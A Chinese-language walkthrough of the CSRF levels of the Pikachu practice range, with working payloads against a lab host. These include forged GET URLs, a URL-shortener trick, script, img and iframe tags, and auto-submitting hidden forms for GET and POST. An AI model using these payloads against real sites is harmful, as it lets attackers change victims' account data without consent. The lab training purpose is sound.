pikachu之CSRF

在 CSRF 的攻击场景中,攻击者会伪造一个请求,这个请求一般都是修改一些参数之类的请求,然后诱骗目标发送这个请求,一旦目标发送了这个请求,整个攻击就完成了。

CSRF 常常与 XSS 混淆:
CSRF 是借用户的权限完成攻击,攻击者并没有拿到用户的权限,
而 XSS 是直接盗取到了用户的权限,然后实施破坏。

GET

这里的账号密码我就不去尝试了,直接用 tips 里面的账号密码
这里我引入一个场景

攻击者:vince
被攻击者:kobe
我是 vince,我想通过 csrf 去修改 kobe 的性别、手机、住址和邮箱

这里我就首先进入 vince 的管理后台,然后修改信息,然后抓住请求然后让 kobe 发送这条请求

首先进入 vince 后台,修改信息

抓包

获取 get 请求

1
http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=111111&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit

退出登录

模拟 kobe 登录后台

然后发送请求


发送往请求之后 kobe 的个人信息已经修改掉了

想象一下,这里修改掉的是密码会发生什么

利用小技巧

  1. 短链接
    使用短链接平台将 url 缩短

这里是将电话修改为 222222 的请求

然后我们让 kobe 发送这个请求

然后 kobe 的手机改变了

  1. 结合 xss
    配合 xss 形成组合拳
    只要标签有 src 属性就可以尝试,包括 scirptiframeimg 等标签
    1
    2
    3
    4
    5
    6
    7
    8
    <html>
    <head>
    <title>XSS&CSRF</title>
    </head>
    <body>
    <script src="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=333333&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit"></script>
    </body>
    </html>

写入一个 xss. html,只要访问 http://172.17.10.4:8000/xss.html ,就会把 kobe 的手机号码修改为 333333


成功

1
<img src="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=333333&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit">
1
<iframe src="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=333333&add=%E6%B4%9B%E6%9D%89%E7%9F%B6&email=manbaout&submit=submit" style="display:none;"></iframe>

只要有 src 标签都可以尝试

进阶的 html 构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta charset="utf-8">
<title>CSRF</title>
</head>
<body>

<form method="get" id="csrf" action="http://172.17.10.4:8000/vul/csrf/csrfget/csrf_get_edit.php?">
<input type="hidden" name="sex" value="%E5%A5%B3">
<input type="hidden" name="phonenum" value="333333">
<input type="hidden" name="add" value="%E6%B4%9B%E6%9D%89%E7%9F%B6">
<input type="hidden" name="email" value="manbaout">
<input type="hidden" name="submit" value="submit">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>

该表单通过:

1
<script> document.forms["csrf"].submit(); </script>

实现自动触发提交 id 为 csrf 的表单,这个在实战中是比较实用的一个技巧。

POST

post 请求是没有办法直接伪造 url 实现
先抓包看看

结合 xss 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta charset="utf-8">
<title>CSRF</title>
</head>
<body>

<form method="post" id="csrf" action="http://172.17.10.4:8000/vul/csrf/csrfpost/csrf_post_edit.php?">
<input type="hidden" name="sex" value="famle">
<input type="hidden" name="phonenum" value="5">
<input type="hidden" name="add" value="lokia">
<input type="hidden" name="email" value="manbaout">
<input type="submit" name="submit" value="submit">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>

该表单通过:

1
<script> document.forms["csrf"].submit(); </script>

实现自动触发提交 id 为 csrf 的表单,这个在实战中是比较实用的一个技巧。

网上看题解有用工具生成 html,感觉差别不大,这里就只放工具名字了
OWASP CSRFTESTER工具

Token

应该是加上了 token 校验,加上 token 校验难度就高了
抓包看看

这时候是 get 请求
从国光 dvwa 靶场那看到两种方法 ()

  1. 构造 html 实现 csrf
  2. JS 发起 HTTP CSRF 请求
    尝试未果,作罢,这个 token 绕过有点难

参考:
Pikachu靶场全关攻略(超详细!)
国光dvwa教程